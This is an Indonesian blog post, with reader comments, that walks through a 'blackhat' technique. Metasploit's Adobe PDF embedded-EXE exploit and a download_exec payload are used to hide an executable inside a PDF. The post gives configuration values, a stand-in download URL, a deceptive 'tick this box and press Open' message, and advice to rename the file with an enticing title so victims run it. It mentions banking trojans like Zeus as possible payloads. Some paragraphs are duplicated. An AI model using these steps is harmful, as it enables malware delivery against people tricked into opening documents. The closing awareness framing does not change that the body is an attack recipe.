Mungkin
sebagian besar orang-orang yg bergelut di bidang IT pernah mendengar
ataupun pernah memakai salah satu Framework Development Vulnerability
ini,Yup, jika anda belum pernah mengenal apa itu Metasploit silahkan
anda mengunjungi situs utamanya yaitu http://metasploit.com dan referensi nya melalui search engine kesukaan anda.
Pada
kali ini saya akan menggambarkan salah satu teknik Blackhat dalam
memanfaatkan Metasploit sebagai senjata yang powerfull dalam menyebarkan
Malicious Code baik itu Trojan, Virus, Botnet, ataupun Rootkit melalui
teknik rekayasa social (Social Enginering).
Ok, buat persiapan kita akan mempersiapkan sebuah File PDF dan Virus (Fake).
Untuk file virus palsu kita coba bangun dari sebuah bahasa Visual Basic.Berikut potongan kodenya. Yg mana jika tombol ditekan maka akan menghasilkan tulisan “Selamat Komputer Anda Kena Virus ”
Untuk file virus palsu kita coba bangun dari sebuah bahasa Visual Basic.Berikut potongan kodenya. Yg mana jika tombol ditekan maka akan menghasilkan tulisan “Selamat Komputer Anda Kena Virus ”
Code:
1
|
<strong>Private Sub Command1_Click()Text1.Text = "Selamat Komputer Anda Kena Virus :D"End Sub</strong>
|
Setelah
Virus Palsu, Selanjutnya kita perlu menyiapkan sebuah File e-book untuk
media sosial engginering dan Metasploit sebagai Alat untuk meracik
kedua file tersebut.Proses Meracik Adonan
- Download dan Instal metasploit anda
- Setelah installasi selesai, pilihlah metasploit web yaitu pada Start –> Metasploit Framework –> msfweb
- Setelah load pilih tab Exploit dan carilah exploit “Adobe PDF Embedded EXE Social Engineering”. Exploit ini dapat berjalan pada Adobe Reader v8.x, v9.x
4. Pilih “windows/download_exec”
5. Selanjutnya kita akan dihadapkan kepada pengaturan standart untuk menkonfigurasi file yang akan diracik.
EXENAME : Path / Directory tempat File Virus berada
ex my linux directory: /home/valencia/contoh_virus.exe
ex my linux directory: /home/valencia/contoh_virus.exe
INFILENAME : Path / Directory tempat E-BOOK / PDF berada
ex my linux directory : /home/valencia/ebook_palsu.pdf
ex my linux directory : /home/valencia/ebook_palsu.pdf
LAUNCH MESSAGE : Pesan kesalahan yg ditampilkan
ex : To view the encrypted content please tick the
“Do not show this message again” box and press Open .
ex : To view the encrypted content please tick the
“Do not show this message again” box and press Open .
OUTPUTPATH : Path / Directory tempat File gabungan berada
ex my linux directory: /home/valencia/
ex my linux directory: /home/valencia/
URL : Alamat web yg digunakan untuk mendownload executable.
ex : http://site-fake.com/evil_update.pdf
6. Selanjutnya klik tombol Launch Exploit. Jika berhasil maka akan ada file baru yg bernama evil.pdf di path /home/valencia/
ex : http://site-fake.com/evil_update.pdf
6. Selanjutnya klik tombol Launch Exploit. Jika berhasil maka akan ada file baru yg bernama evil.pdf di path /home/valencia/
Setelah
semua adonan selesai diracik saatnya melakukan penyebaran dengan teknik
social enginering. File hasil generate yg bernama evil.pdf bisa di Rename dengan judul yg menarik minat seseorang untuk mengeksekusinya, misalnya “ Cara Mendapatkan Uang Gratis Di Internet”.
Ok, ga perlu dijelaskan bagaimana cara menyebarkan, karena saya yakin anda terlalu pintar untuk itu…lolz J
Sekarang kita lihat , bagaimana jika file itu kita eksekusi. Apakah dengan teknik ini file virus palsu dapat berjalan jika e-book itu dijalankan ?
Sekarang kita lihat , bagaimana jika file itu kita eksekusi. Apakah dengan teknik ini file virus palsu dapat berjalan jika e-book itu dijalankan ?
- Setelah di jalankan, file evil.pdf tadi akan menjalankan command prompt dan kemudian menampilkan pesan error sesuai dengan LAUNCH MESSAGE yg kita setting tadi.
- Dan jika kita menutup dialog box dari error
tersebut maka program virus palsu yg berada pada badan file evil.pdf
tersebut akan dijalankan dan menampilkan pesan.
Dari ilustrasi teknik di atas, mungkin anda akan berpikir jika dulu E-book yg ada di internet bukanlah sesuatu ancaman bagi anda tapi sekarang mereka bisa menjadi ancaman serius bagi keamanan anda.
Dari ilustrasi teknik di atas, mungkin anda akan berpikir jika dulu E-book yg ada di internet bukanlah sesuatu ancaman bagi anda tapi sekarang mereka bisa menjadi ancaman serius bagi keamanan anda.
Coba bayangkan, file yg
diselipkan itu adalah sebuah program yang bertugas mencuri data banking
seperti Zeus, SpyEye. Saya yakin E-book yang ada dalam PC / Laptop anda
sudah masuk ke Recycle Bin (Just Kidding .)Anyway…….sekian bahasan
pendek yg bisa saya sampaikan. Moga saja kita dapat lebih aware terhadap
ancaman-ancaman yang ada di dunia maya.
Salam……………..
Salam……………..
Saya memang belum pernah mendengar istilah Malicious Code, tapi ini menambah pengetahuan saya dalam bidang IT.
ReplyDeletePostingan Bagus Ni detail banget... Bisa Nyontek ni wkwkwwkwk
ReplyDelete@sigodang : siip buat nambah ilmu..
ReplyDelete@arndy : heheh..nyontek mulu.. ^_^
wew.... bahaya di Internet dan Komputer ada dimana-mana! ckckckckckc... :/
ReplyDelete@harrys : yoi gan..harus waspada..
ReplyDeleteseru metasploit,.....nice
ReplyDelete@Hickarunata : yoi..emang seru gan..
ReplyDeletemantap om ^_^
ReplyDeleteboleh copas..?
@cholot : silahkan bro...
ReplyDeleteasal disertakan link aktif yaa.. ^_^